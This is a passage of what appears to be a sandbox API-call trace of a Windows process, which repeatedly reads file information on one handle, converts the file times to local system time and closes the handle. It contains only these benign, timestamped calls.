GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.582] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.582] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.583] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.583] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.584] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.584] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.585] CloseHandle (hObject=0x198) returned 1 [0072.586] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.587] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.587] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.588] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.588] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.589] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.589] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.590] CloseHandle (hObject=0x198) returned 1 [0072.590] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.590] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.590] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.591] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.591] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.592] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.592] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.592] CloseHandle (hObject=0x198) returned 1 [0072.593] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.593] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.593] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.594] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.594] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.594] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.594] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.595] CloseHandle (hObject=0x198) returned 1 [0072.596] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.596] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.596] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.596] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.596] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.597] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.597] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.597] CloseHandle (hObject=0x198) returned 1 [0072.604] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.604] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.604] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.604] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.604] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.604] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.604] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.604] CloseHandle (hObject=0x198) returned 1 [0072.605] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.605] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.605] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.605] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.605] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.605] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.605] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.605] CloseHandle (hObject=0x198) returned 1 [0072.606] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.606] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.606] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.606] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.606] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.606] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.606] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.606] CloseHandle (hObject=0x198) returned 1 [0072.607] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.607] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.607] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.607] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.607] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.607] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.607] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.607] CloseHandle (hObject=0x198) returned 1 [0072.608] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.608] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.608] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.608] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.608] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.608] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.608] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.608] CloseHandle (hObject=0x198) returned 1 [0072.609] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.609] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.609] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.609] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.609] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.609] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.609] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.609] CloseHandle (hObject=0x198) returned 1 [0072.610] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.610] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.610] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.610] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.610] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.610] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.610] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.610] CloseHandle (hObject=0x198) returned 1 [0072.610] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.610] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.610] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.610] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.610] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.610] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.610] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.611] CloseHandle (hObject=0x198) returned 1 [0072.613] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.613] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.613] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.613] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.613] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.613] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.613] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.613] CloseHandle (hObject=0x198) returned 1 [0072.614] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.614] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.614] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.614] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.614] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.614] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.614] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.615] CloseHandle (hObject=0x198) returned 1 [0072.615] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.615] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.615] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.615] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.615] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.615] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.615] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.615] CloseHandle (hObject=0x198) returned 1 [0072.616] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.616] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.616] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.616] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.616] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.616] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.616] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.616] CloseHandle (hObject=0x198) returned 1 [0072.617] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.617] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.617] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.617] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.617] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.617] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.617] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.617] CloseHandle (hObject=0x198) returned 1 [0072.618] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.618] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.618] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.618] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.618] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.618] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.618] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.619] CloseHandle (hObject=0x198) returned 1 [0072.619] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.619] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.619] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.619] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.620] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.620] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.620] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.620] CloseHandle (hObject=0x198) returned 1 [0072.621] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.621] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.621] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.621] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.621] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.621] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.621] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.621] CloseHandle (hObject=0x198) returned 1 [0072.622] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.622] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.622] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.622] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.622] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.622] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.622] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.623] CloseHandle (hObject=0x198) returned 1 [0072.623] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.623] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.623] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.623] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.623] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.623] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.623] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.623] CloseHandle (hObject=0x198) returned 1 [0072.624] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.624] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.624] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.624] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.624] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.624] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.624] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.624] CloseHandle (hObject=0x198) returned 1 [0072.624] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0072.625] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0072.625] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0072.625] FileTimeToSystemTime (in: 